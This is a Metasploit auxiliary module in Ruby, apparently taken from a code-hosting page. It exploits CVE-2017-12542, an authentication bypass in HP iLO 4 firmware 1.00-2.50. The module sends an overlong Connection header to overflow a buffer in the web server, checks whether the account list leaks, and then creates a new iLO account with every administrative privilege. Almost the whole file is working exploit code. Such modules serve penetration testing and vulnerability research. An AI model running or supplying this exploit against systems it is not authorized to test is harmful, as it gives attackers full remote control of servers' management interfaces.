adfoster-r7
119 lines
4.0 KiB
Ruby
119 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation',
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'Description' => %q{
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This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer
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overflow in the Connection HTTP header handling by the web server.
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Exploiting this vulnerability gives full access to the REST API, allowing arbitrary
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accounts creation.
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},
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'References' => [
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[ 'CVE', '2017-12542' ],
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[ 'BID', '100467' ],
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[ 'URL', 'https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-hpesbhf03769en_us' ],
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[ 'URL', 'https://www.synacktiv.com/en/publications/hp-ilo-talk-at-recon-brx-2018.html' ]
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],
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'Author' => [
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'Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>'
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],
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'License' => MSF_LICENSE,
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'DisclosureDate' => '2017-08-24',
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'DefaultOptions' => { 'SSL' => true },
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
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'Reliability' => []
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}
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)
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)
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('USERNAME', [true, 'Username for the new account', Rex::Text.rand_text_alphanumeric(8)]),
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OptString.new('PASSWORD', [true, 'Password for the new account', Rex::Text.rand_text_alphanumeric(12)])
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]
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)
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end
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def check
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begin
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => '/rest/v1/AccountService/Accounts',
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'headers' => {
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'Connection' => Rex::Text.rand_text_alphanumeric(29)
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}
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})
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rescue StandardError
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return Exploit::CheckCode::Unknown('Failed to connect to the target')
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end
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if (res.code == 200) && res.body.include?('"Description":"iLO User Accounts"')
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return Exploit::CheckCode::Vulnerable('Authentication bypass returned iLO User Accounts')
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end
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return Exploit::CheckCode::Safe('Authentication bypass did not return account data')
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end
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def run
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print_status("Trying to create account #{datastore['USERNAME']}...")
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data = {}
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data['UserName'] = datastore['USERNAME']
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data['Password'] = datastore['PASSWORD']
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data['Oem'] = {}
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data['Oem']['Hp'] = {}
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data['Oem']['Hp']['LoginName'] = datastore['USERNAME']
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data['Oem']['Hp']['Privileges'] = {}
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data['Oem']['Hp']['Privileges']['LoginPriv'] = true
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data['Oem']['Hp']['Privileges']['RemoteConsolePriv'] = true
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data['Oem']['Hp']['Privileges']['UserConfigPriv'] = true
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data['Oem']['Hp']['Privileges']['VirtualMediaPriv'] = true
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data['Oem']['Hp']['Privileges']['VirtualPowerAndResetPriv'] = true
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data['Oem']['Hp']['Privileges']['iLOConfigPriv'] = true
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/rest/v1/AccountService/Accounts',
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'ctype' => 'application/json',
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'headers' => {
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'Connection' => Rex::Text.rand_text_alphanumeric(29)
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},
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'data' => data.to_json
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})
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rescue Rex::ConnectionRefused
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vprint_error('Connection failed')
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end
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unless res
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fail_with(Failure::Unknown, 'Connection failed')
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end
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if res.body.include? 'InvalidPasswordLength'
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fail_with(Failure::BadConfig, "Password #{datastore['PASSWORD']} is too short.")
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end
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if res.body.include? 'UserAlreadyExist'
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fail_with(Failure::BadConfig, "Unable to add login #{datastore['USERNAME']}, user already exists")
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end
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unless res.code == 201
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fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
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end
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print_good("Account #{datastore['USERNAME']}/#{datastore['PASSWORD']} created successfully.")
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end
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end
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